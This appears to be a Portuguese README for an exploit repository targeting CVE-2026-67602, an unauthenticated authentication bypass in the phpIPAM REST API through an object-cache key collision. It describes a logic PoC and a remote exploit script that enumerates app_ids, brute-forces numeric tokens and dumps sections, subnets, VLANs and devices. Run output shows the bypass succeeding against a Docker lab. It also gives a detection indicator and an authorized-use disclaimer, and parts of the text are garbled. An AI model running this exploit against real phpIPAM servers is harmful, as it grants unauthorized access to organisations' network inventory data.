
Exploit e PoC para CVE-2026-67602, uma bypass de autenticação na API REST do phpIPAM via colisão de chaves no object-cache, incluindo um PoC de nível lógico e script de exploit remoto.
Bypass de autenticação não autenticado na API REST do phpIPAM, causado por
uma colisão de chave no cache de objetos: a linha do banco de dados armazenada
em cache ao resolver o app_id de um aplicativo da API satisfaz a verificação
subsequente do app_code (token) sempre que o token fornecido for igual ao
id numérico da linha. O segredo real do aplicativo nunca é comparado.
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)app_security = ssl_coded29728f)| Arquivo | Finalidade |
|---|---|
poc_cache_collision.php | PoC em nível de lógica. Executa as implementações verbatim vulneráveis (v1.8.1) e corrigidas (1.8.2) de fetch_object/cache_check/cache_write contra um banco de dados simulado e reproduz a sequência exata de fetch de uma requisição HTTP. Nenhuma instalação do phpIPAM é necessária. |
exploit.py | Exploit remoto contra uma instância ativa do phpIPAM < 1.8.2: enumera app_ids válidos (400 vs 401), força bruta no token numérico (geralmente id 1-3) e, opcionalmente, despeja seções/sub-redes/VLANs/dispositivos. |
docker-compose.yml | Laboratório vulnerável: phpIPAM v1.8.1 + MariaDB, HTTP simples com IPAM_TRUST_X_FORWARDED=true para que aplicativos ssl_code possam ser testados via cabeçalho X-Forwarded-Proto. |
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client') -> linha id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (cabeçalho phpipam-token) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id -> AUTENTICADO
$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (cabeçalho phpipam-token) -> false
[3] Resposta: 401 Não Autorizado — token rejeitado
$ docker compose up -d
http://localhost:8080/, prossiga para o instalador
(http://localhost:8080/install/), escolha Instalação automática do
banco de dados, usuário MySQL root / senha phpipamAdminRoot.admin / admin), defina uma nova senha de administrador quando solicitado.app_id): clientExecute o exploit (a flag --xfp satisfaz a verificação HTTPS via
X-Forwarded-Proto, que o laboratório confia):
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Alvo: http://localhost:8080
[*] Forçando tokens numéricos (ids de linha) 1..64 para app_id='client'...
[+] BYPASS DE AUTENTICAÇÃO — phpipam-token: 1 é aceito
[+] O app_code real de 32 caracteres do aplicativo nunca foi necessário.
[+] GET /api/client/sections/ -> HTTP 200, 1 seção(ões) legível(eis)
[*] Despejando dados do IPAM...
d29728f).ssl_code (outros
modos de segurança não são afetados por essa colisão de cache)./api/<app_id>/...
contendo um cabeçalho phpipam-token puramente numérico — tokens legítimos são
strings aleatórias de 32 caracteres, portanto tokens numéricos são um IOC de alta fidelidade.Este repositório é apenas para pesquisa defensiva e testes de penetração autorizados. Execute-o apenas contra sistemas que você possui ou para os quais tenha permissão por escrito para testar.